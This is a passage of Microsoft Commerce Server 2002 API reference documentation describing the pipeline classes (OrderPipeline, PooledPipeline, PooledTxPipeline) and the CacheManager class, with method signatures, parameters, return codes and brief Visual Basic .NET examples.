Use this object to run a Microsoft Commerce Server 2002 Content Selection pipeline. Order Processing pipelines (OPP) should generally use a PooledPipeline, PooledTxPipeline, MtxPipeline, or MtsTxPipeline object.

Note

  • The OrderPipeline object should be used in Content Selection pipelines because Content Selection pipelines do not require transactions and because the OrderPipeline is fully re-entrant by multiple threads. Other objects, such as MtsPipeline and MtsTxPipeline, must be used once, destroyed, and re-created by each thread due to the rules of COM+ transactions.

Methods

Method | Description
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
OrderExecute | Runs the components in the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The OrderPipeline object creates and executes an Order Processing pipeline (OPP). The OrderPipeline object is not registered under Microsoft Transaction Server (MTS).

The OrderPipeline object is usually created in the Global.asax file and put into an application collection.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .Net Server family

Assembly: pipelinelib (in pipelinelib.dll)


OrderPipeline Methods (PIA)

Methods

Method | Description
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
OrderExecute | Runs the components in the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


OrderPipeline.LoadPipe Method (PIA)

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub LoadPipe(
  pszFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void LoadPipe(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the pipeline configuration file name.
[C#]
pszFileName
A string containing the pipeline configuration file name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file designated for transactions (for use with the MtsTxPipeline or PooledTxPipeline objects).

[Visual Basic .NET]

Example

' pOrdPipeline is a Commerce.OrderPipeline object
errVal = pOrdPipeline.Load("CustomShip.pcf")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .Net Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

OrderPipeline Class

OrderPipeline.OrderExecute

OrderPipeline.SetLogFile


OrderPipeline.OrderExecute Method (PIA)

Use this method to run the stages in the pipeline configuration file that was previously specified by the LoadPipe method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function OrderExecute(
  lMode As Integer,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Integer
) As Integer
[C#]
using Microsoft.CommerceServer.Interop;
…
int OrderExecute(
  int lMode,
  object pdispOrder,
  object pdispContext,
  int lFlags
);

Parameters

[Visual Basic .NET]
lMode
An Integer indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites.
pdispOrder
A reference to a Dictionary object, usually an OrderForm object. This is the Order dictionary that will be used by the pipeline.
pdispContext
A reference to a Dictionary object. This is the Context dictionary that will be used by the pipeline.
lFlags
An unused Integer parameter. Must be set to zero (0).
[C#]
lMode
An int indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 3.0 Commerce Edition sites. Commerce Server 2002 sites should set this parameter to one (1).
pdispOrder
An object containing a Dictionary object (typically an OrderForm object). This is the Order dictionary that will be used by the pipeline.
pdispContext
An object typically containing a Dictionary object. This is the Context dictionary that will be used by the pipeline.
lFlags
An unused int parameter. Must be set to zero (0).

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer indicating whether there were warnings or errors detected by components in the pipeline. See the Exceptions section for more details.

[C#]

This method returns an int value indicating whether or not it completed successfully.

The int value returned is set to one of the following values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

Exceptions

[Visual Basic .NET]

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

In addition, the method returns one of the following values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

[C#] This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The lMode parameter is included only for backward compatibility with sites created in Site Server 2.0. In Site Server 3.0 Commerce Edition and later, the selection of pipeline stages is made by loading an appropriate pipeline configuration file with the LoadPipe method. Commerce Server 2002 applications should use the value one (1) for this parameter; zero (0) will cause no stages to run.

[Visual Basic .NET]

Example

' pOrdPipeline is a Commerce.OrderPipeline object
' lMode is a Long
' dOrder and dContext are Commerce.Dictionary objects
errVal = pOrdPipeline.Execute(l, dOrder, dContext, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .Net Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

OrderPipeline Class

OrderPipeline.LoadPipe

OrderPipeline.SetLogFile


OrderPipeline.SetLogFile Method (PIA)

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be used in a production environment. It degrades performance and can compromise the security of credit card numbers in non-set transactions.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetLogFile(
  pszFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void SetLogFile(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the name of the file in which to log events.
[C#]
pszFileName
A string containing the name of the file in which to log events.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling this method with an empty string turns off logging.

[Visual Basic .NET]

Example

' pOrdPipeline is a Commerce.OrderPipeline object
errVal = pOrdPipeline.SetLogFile("CustomShipping.log")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .Net Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

OrderPipeline Class

OrderPipeline.LoadPipe

OrderPipeline.OrderExecute


PooledPipeline Class (PIA)

Use this object to run a Microsoft Commerce Server 2002 pipeline configuration file. The pipeline may be an Order Processing pipeline (OPP).

The PooledPipeline object uses COM+ object pooling to greatly increase the loading speed of pipelines, where the contained pipeline components support object pooling. For more information about pooled pipelines, see Pooled Pipelines.

Methods

Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The PooledPipeline should be created on each Active Server Pages (ASP) page in which it is used rather than being held in Application or Sessions scope.

In general, use the PooledPipeline object only in production Web sites; use the MtsPipeline object when developing the site. If you use the PooledPipeline object during development, you will need to stop and restart Internet Information Services (IIS) to force the .pcf files to be re-read when you change them.

When you create custom poolable pipeline components, you must add the Component Object Model (COM) category, CATID_POOLABLE, to the component to make it poolable.

The PooledPipeline object is registered under COM+ as "transactions not supported." Use this pipeline where transactions are not needed. For more information about transactions and pipelines, see Pipeline Basics.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)


PooledPipeline Methods (PIA)

Methods

Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


PooledPipeline.Execute Method (PIA)

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Execute(
  lMode As Integer,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Integer
) As Integer
[C#]

using Microsoft.CommerceServer.Interop;

…

public int Execute(
  int lMode,
  object pdispOrder,
  object pdispContext,
  int lFlags
);

Parameters

[Visual Basic .NET]
lMode
An Integer indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with previous versions of Commerce Server. Specify 1 for this parameter.
pdispOrder
A reference to a business Object (typically a Dictionary object or an OrderForm object).
pdispContext
A reference to a secondary business Object (typically a context dictionary).
lFlags
An unused Integer parameter. Must be set to zero (0).
[C#]
lMode
A int indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with previous versions of Commerce Server. Specify 1 for this parameter.
pdispOrder
An object containing a Dictionary object (typically an OrderForm object). The Order dictionary will be used by the pipeline.

pdispContext

An object typically containing a Dictionary object. The Context dictionary will be used by the pipeline.

lFlags
An unused int parameter. Must be set to zero (0).

Return Values

[Visual Basic .NET]

If this method completes successfully, it returns an Integer indicating whether warnings or errors were detected by components in the pipeline. See the Exceptions section for more details.

In addition, the method returns one of the following values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.
[C#]

This method returns an int value indicating whether it completed successfully. See the Exceptions section for more details.

The int value returned is set to one of the following values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' dOrder, dContext are Commerce.Dictionary objects
' pPooledPipeline is a Commerce.PooledPipeline object

errVal = pPooledPipeline.Execute(1, dOrder, dContext, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

PooledPipeline Class

PooledPipeline.LoadPipe

PooledPipeline.SetLogFile


PooledPipeline.LoadPipe Method (PIA)

Use this method to load a pipeline configuration file (.pcf) into a pipeline.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub LoadPipe(
  pszFileName As String
)
[C#]

using Microsoft.CommerceServer.Interop;

…

public void LoadPipe(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the pipeline configuration file (.pcf) name.
[C#]
pszFileName
A string containing the pipeline configuration file (.pcf) name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file that is designated to be used for transactions (for use in MtsTxPipeline or PooledTxPipeline).

[Visual Basic .NET]

Example

' pPooledPipeline is a Commerce.PooledPipeline object

errVal = pPooledPipeline.LoadPipe("CustomShip.pcf")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

PooledPipeline Class

PooledPipeline.Execute

PooledPipeline.SetLogFile


PooledPipeline.SetLogFile Method (PIA)

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be enabled in a production environment. It degrades performance and compromises the security of credit card numbers in non-set transactions. The file system must be configured to allow the process running the pipeline to have write access to the specified path.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetLogFile(
  pszFileName As String
)
[C#]

using Microsoft.CommerceServer.Interop;

…

public void SetLogFile(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the name of the file in which to log events.
[C#]
pszFileName
A string containing the name of the file in which to log events.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values that each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling this method with an empty string turns off logging.

The SetLogFile method should be called immediately before running a pipeline.

[Visual Basic .NET]

Example

' pPooledPipeline is a Commerce.PooledPipeline object

errVal = pPooledPipeline.SetLogFile("CustomShipping.log")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

PooledPipeline Class

PooledPipeline.Execute

PooledPipeline.LoadPipe


PooledTxPipeline Class (PIA)

Use this object to run a Microsoft Commerce Server 2000 pipeline. The pipeline may be an Order Processing pipeline (OPP). Use in place of the PooledPipeline object where you need transactions.

The PooledTxPipeline object uses COM+ object pooling to greatly increase the loading speed of pipelines. For more information about pooled pipelines, see Pooled Pipelines.

Methods

Method | Description
Execute | Runs the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The PooledTxPipeline object is registered under COM+ as "transactions required." Use this pipeline where transactions are needed. For more information about transactions and pipelines, see Pipeline Basics.

The Microsoft Distributed Transaction Coordinator (MSDTC) service must be running in order to use the PooledTxPipeline object.

To verify that the Distributed Transaction Coordinator service is running

  1. Click Start, point to Programs, point to Administrative Tools, and then click Services.
  2. Scroll to Distributed Transaction Coordinator and verify that the Status is Started.

In general, use the PooledTxPipeline object only in production Web sites; use the MtsPipeline object when developing the site. If you use the PooledTxPipeline object during development, you will need to stop and restart Internet Information Services (IIS) to force the .pcf files to be re-read when you change them.

The PooledPipeline object should be created on each ASP page in which it is used rather than being held in Application or Session scope.

When you create custom poolable pipeline components, you must add the Component Object Model (COM) category, CATID_POOLABLE, to the component to make it poolable.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)


PooledTxPipeline Methods (PIA)

Methods

Method | Description
Execute | Runs the components in the pipeline as configured by the LoadPipe method.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


PooledTxPipeline.Execute Method (PIA)

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Execute(
  lMode As Integer,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Integer
) As Integer
[C#]
using Microsoft.CommerceServer.Interop;
…
public int Execute(
  int lMode,
  object pdispOrder,
  object pdispContext,
  int lFlags
);

Parameters

[Visual Basic .NET]
lMode
An Integer indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with previous versions of Commerce Server. Specify 1 (one) for this parameter.
pdispOrder
A reference to a business Object (typically a Dictionary object or an OrderForm object). The Order dictionary that will be used by the pipeline.
pdispContext
A reference to a secondary business Object (typically a context dictionary object).
lFlags
An unused Integer parameter. Must be set to zero (0).
[C#]
lMode
A int integer indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with previous versions of Commerce Server. Specify 1 (one) for this parameter.
pdispOrder
An object containing a Dictionary object (typically an OrderForm object). The Order dictionary that will be used by the pipeline.

pdispContext

An object typically containing a Dictionary object. The Context dictionary that will be used by the pipeline.

lFlags
An unused int parameter. Must be set to zero (0).

Return Values

[Visual Basic .NET]

If this method completes successfully, it returns an Integer value indicating whether components in the pipeline detected warnings or errors. See the Exceptions section for more details.

In addition, the method returns one of the following values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.
[C#]

This method returns an int value indicating whether or not it completed successfully. See the Exceptions section for more details.

The int value returned is set to one of the following values:

Value | Description
1 | The pipeline ran successfully.
2 | A pipeline component raised a warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3 | A pipeline component failed to run.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' dOrder, dContext are Commerce.Dictionary objects
' pPooledTxPipeline is a Commerce.PooledTxPipeline object

errVal = pPooledTxPipeline.Execute(1, dOrder, dContext, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

PooledTxPipeline Class

PooledTxPipeline.LoadPipe

PooledTxPipeline.SetLogFile


PooledTxPipeline.LoadPipe Method (PIA)

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub LoadPipe(
  pszFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void LoadPipe(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the pipeline configuration file (.pcf) name.
[C#]
pszFileName
A string containing the pipeline configuration file (.pcf) name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file that is not designated to be used for transactions (for use in MtsPipeline or PooledPipeline).

[Visual Basic .NET]

Example

' pPooledTxPipeline is a Commerce.PooledTxPipeline object

errVal = pPooledTxPipeline.LoadPipe("CustomShip.pcf")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

PooledTxPipeline Class

PooledTxPipeline.Execute

PooledTxPipeline.SetLogFile


PooledTxPipeline.SetLogFile Method (PIA)

Use this method to identify the file in which to log the operations of the pipeline component.

Note

  • This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be enabled in a production environment. It degrades performance and could compromise the security of credit card numbers in non-set transactions. File systems must be configured to allow the process running the pipeline to have write access to the specified path.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetLogFile(
  pszFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
public void SetLogFile(
  string pszFileName
);

Parameters

[Visual Basic .NET]
pszFileName
A String containing the name of the file in which to log events.
[C#]
pszFileName
A string containing the name of the file in which to log events.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

When logging is set, the pipeline logs the pipeline components that are called and the error values that each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

The SetLogFile method should be called immediately before executing a pipeline.

Calling this method with an empty string turns off logging.

[Visual Basic .NET]

Example

' pPooledTxPipeline is a Commerce.PooledTxPipeline object

errVal = pPooledTxPipeline.SetLogFile("CustomShipping.log")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: pipelinelib (in pipelinelib.dll)

See Also

PooledTxPipeline Class

PooledTxPipeline.Execute

PooledTxPipeline.LoadPipe


Microsoft.CommerceServer.Interop.Caching

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop namespace.

Class | Description
CacheManager | Provides generic caching services.
ContentList | Contains a representation of each content item eligible for a given request for content. Also provides services to Content Selection Framework (CSF) components such as filtering and sorting.
ContentListFactory | Allows creation of ContentList objects, and stores data shared by those objects.
ContentListSchema | Allows manipulation of the schema for a ContentListFactory object.
LRUCache | Provides a least recently used (LRU) cache for the CacheManager object. It stores a limited number of entries and sorts them according to the least recently used element.
RowCollection | Allows enumeration of the rows returned from the ActiveRows and AllRows properties, and the Search method, of a ContentList object, and from the AllRows property and the Search method of a ContentListFactory object.


CacheManager Class (PIA)

Use this object to establish and use a collection of data caches. Each data cache is either a Dictionary object or an LRUCache object. You can specify which one you would like to use by setting the CacheObjectProgID property.

Methods

Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.

Properties

Property | Type | Description
AppUrl | String | Stores the full Uniform Resource Locator (URL) of the application. This property is read/write.
CacheObjectProgId | String | Stores the ProgID for the object that is to be used for cache functions internally within the CacheManager object. Determines the type of object returned by the GetCache method. This property is read/write.
LoaderConfig | Object | Stores the configuration Dictionary object that should be passed to the Loader component. This property is read/write.
LoaderProgId | String | Stores the ProgID of the component used to create and populate a data cache. This property is read/write.
RefreshInterval | Integer | Stores the number of seconds between automatic cache refresh operations. This property is read/write.
RetryInterval | Integer | Stores the number of seconds to wait before retrying after a cache load has failed. This property is read/write.
WriterConfig | Object | Stores the configuration Dictionary object that should be passed to the Writer component. This property is read/write.
WriterProgId | String | Stores the ProgID of the component used to write out some type of data that has been accumulated since the last refresh. Advertising event data is one example of the type of data that might be accumulated. This property is read/write.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)


CacheManager Methods (PIA)

Methods

Method | Description
GetCache | Retrieves the data cache Dictionary object associated with a specified data cache name.
RefreshCache | Forces an immediate, synchronous refresh of the cache.


CacheManager.GetCache Method (PIA)

Use this method to retrieve either the Dictionary or LRUCache object for the specified cache name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Function GetCache(
 bstrName As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public object GetCache (
 string bstrName
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of the cache to be retrieved.
[C#]
bstrName
A string that contains the name of the cache to be retrieved.

Return Values

The data cache Dictionary object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following COM exception has a special meaning in this method:

S_FALSE
An index already exists on the column.

Remarks

This method is designed to be lightweight and fast. It is commonly called several times on any given ASP page.

The first time the GetCache method or the RefreshCache method is called, the data cache object is created and the configured CacheLoader component is invoked to populate it with data. Subsequent calls to the GetCache method may return the same cache object or a new cache object that is created when the cache is refreshed.

If the first call to the GetCache method for a particular cache results in a failed refresh, then the CacheManager object will not immediately retry a refresh when more GetCache method calls are made for the same cache. This is to avoid recurring timeouts that might bring down a system, for example if a database connection becomes temporarily unavailable. In this failure scenario, subsequent calls to the GetCache method will return an error indicating that the cache load failed and will not be retried until the refresh interval has elapsed or until the RefreshCache method is explicitly called.

After a cache has successfully been created, if a subsequent refresh of the cache fails, then the existing cache object is returned until a later refresh succeeds. The CacheManager object provides high availability to cache data at the expense of ensuring the cached data is up-to-date.

[Visual Basic .NET]

Example

'oMyCache is an object
'strMyCacheName is a String containing the name of an existing cache.
oMyCache = myCacheManager.GetCache(strMyCacheName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.RefreshCache Method (PIA)

Use this method to force an immediate refresh of a data cache Dictionary object. This method is synchronous, not returning to the caller until the specified data cache is refreshed.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Sub RefreshCache(
 bstrName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public void RefreshCache(
 string bstrName
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of the data cache to be refreshed.
[C#]
bstrName
A string that contains the name of the data cache to be refreshed.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the specified cache is in the middle of being refreshed when the RefreshCache method is invoked, presumably by the background timer thread or a different foreground thread, this method will wait until the refresh operation is complete and then return. It will not result in another refresh operation.

[Visual Basic .NET]

Example

'strMyCacheName is a String containing the name of an existing cache.
myCacheManager.RefreshCache(strMyCacheName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager Properties (PIA)

Properties

Property | Type | Description
AppUrl | String | Stores the full Uniform Resource Locator (URL) of the application. This property is read/write.
CacheObjectProgId | String | Stores the ProgID for the object that is to be used for cache functions internally within the CacheManager object. Determines the type of object returned by the GetCache method. This property is read/write.
LoaderConfig | Object | Stores the configuration Dictionary object that should be passed to the Loader component. This property is read/write.
LoaderProgId | String | Stores the ProgID of the component used to create and populate a data cache. This property is read/write.
RefreshInterval | Integer | Stores the number of seconds between automatic cache refresh operations. This property is read/write.
RetryInterval | Integer | Stores the number of seconds to wait before retrying after a cache load has failed. This property is read/write.
WriterConfig | Object | Stores the configuration Dictionary object that should be passed to the Writer component. This property is read/write.
WriterProgId | String | Stores the ProgID of the component used to write out some type of data that has been accumulated since the last refresh. Advertising event data is one example of the type of data that might be accumulated. This property is read/write.


CacheManager.AppUrl Property (PIA)

The AppUrl property is a read/write String that contains the full Uniform Resource Locator (URL) of the application.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property AppUrl As String
[C#]
using Microsoft.CommerceServer.Interop.Caching;
…
public string AppUrl {get; set;}

Property Value

A string that contains the full URL of the application.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The default value for this property is the URL of the current Internet Information Services (IIS) 5.0 application. Depending on the URL used to access the IIS application the first time after it is started, this URL could contain the special host name "localhost," preventing it from being accessed externally. Therefore, it is best to explicitly set this property to the full URL of the IIS application.

Unlike the other properties of the CacheManager object that are set on a per-cache basis, the AppUrl property is a global property. The AppUrl property is generally used to register all of the caches running in a Web server farm so that they can be managed without requiring explicit registration by an administrator. The Publish Campaign module in Commerce Server Business Desk is an example of this.

If the cache object is a Dictionary object, then the value of this property is passed to the CacheLoader and CacheWriter objects during each cache refresh. It will be put in the _AppUrl key in the Dictionary object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.CacheObjectProgId Property (PIA)

The CacheObjectProgId property is a read/write String that contains the name of the object to be used internally to perform caching functions for this CacheManager object. It also determines the type of object returned by the GetCache method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property CacheObjectProgId(
  bstrName As String
) As String
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public string get_CacheObjectProgId(
  string bstrName
);

Put method:

public void set_CacheObjectProgId(
  string bstrName,
  string pbstrProgId
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of the cache object.
[C#]
bstrName
A string that contains the name of the cache object.
pbstrProgId
When setting the property, a string that contains the ProgID of the cache object.
When getting the property, a pointer to a string used to return the ProgID of the cache object.

Return Values

When getting, a string containing the ProgID.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

By default, the CacheManager object will have Commerce.Dictionary set as the value for this property.

[C#] The get_CacheProjectProgID and set_CacheProjectProgId methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.LoaderConfig Property (PIA)

The LoaderConfig property is a read/write reference to a Dictionary object that contains configuration information for the Loader component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property LoaderConfig(
 bstrName As String
) As Object
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public object get_LoaderConfig(
 string bstrName
);

Put method:

public void set_LoaderConfig(
 string bstrName,
 object ppdispConfig
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of a data cache for which Loader component configuration information is being provided or retrieved.
[C#]
bstrName
A string that contains the name of a data cache for which Loader component configuration information is being provided or retrieved.
ppdispConfig
When setting the property, a Dictionary object that contains the Loader component configuration information.
When getting the property, the return value is the Dictionary object that contains the configuration information.

Return Values

When getting, an object (typically a Dictionary) with the configuration.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This property, a Dictionary object containing configuration information for a particular Loader component, will be passed to that Loader component when it is created to load the associated data cache. When you set this property, the dictionary is shallow cloned and then the CacheManager object stores the clone of the dictionary. This is as opposed to simply storing a reference to the dictionary. Shallow clone means that scalars in the dictionary are copied by value, but other objects in the dictionary are copied by reference. The Loader component needs to implement the IPipelineComponentAdmin interface in order to read the configuration values from the dictionary, and in particular, the SetConfigData method of that interface. The Dictionary object identified by this property is passed to the newly created Loader component using the SetConfigData method.

[C#] The get_LoaderConfig and set_LoaderConfig methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.LoaderProgId Property (PIA)

The LoaderProgId property is a read/write string that contains the ProgID of the component intended for use in populating the cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property LoaderProgId(
 bstrName As String
) As String
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public string get_LoaderProgId(
 string bstrName
);

Put method:

public void set_LoaderProgId(
 string bstrName,
 string pbstrProgId
);

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of a data cache for which the Loader component ProgID is being provided or retrieved.
[C#]
bstrName
A string that contains the name of a data cache for which the Loader component ProgID is being provided or retrieved.
pbstrProgId
When setting the property, a string that contains the ProgID of the Loader component.

Return Values

When getting, a string with the ProgId.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[C#]

Remarks

The get_LoaderProgId and set_LoaderProgId methods do not show up in IntelliSense.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: cachecomplib (in cachecomplib.dll)

See Also

CacheManager Class


CacheManager.RefreshInterval Property (PIA)

The RefreshInterval property is a read/write Integer that specifies the approximate number of seconds between automatic cache refresh operations on a specified cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Caching
…
Public Property RefreshInterval(
 bstrName As String
) As Integer
[C#]

Get method:

using Microsoft.CommerceServer.Interop.Caching;
…
public int get_RefreshInterval(
 string bstrName
);

Put method:

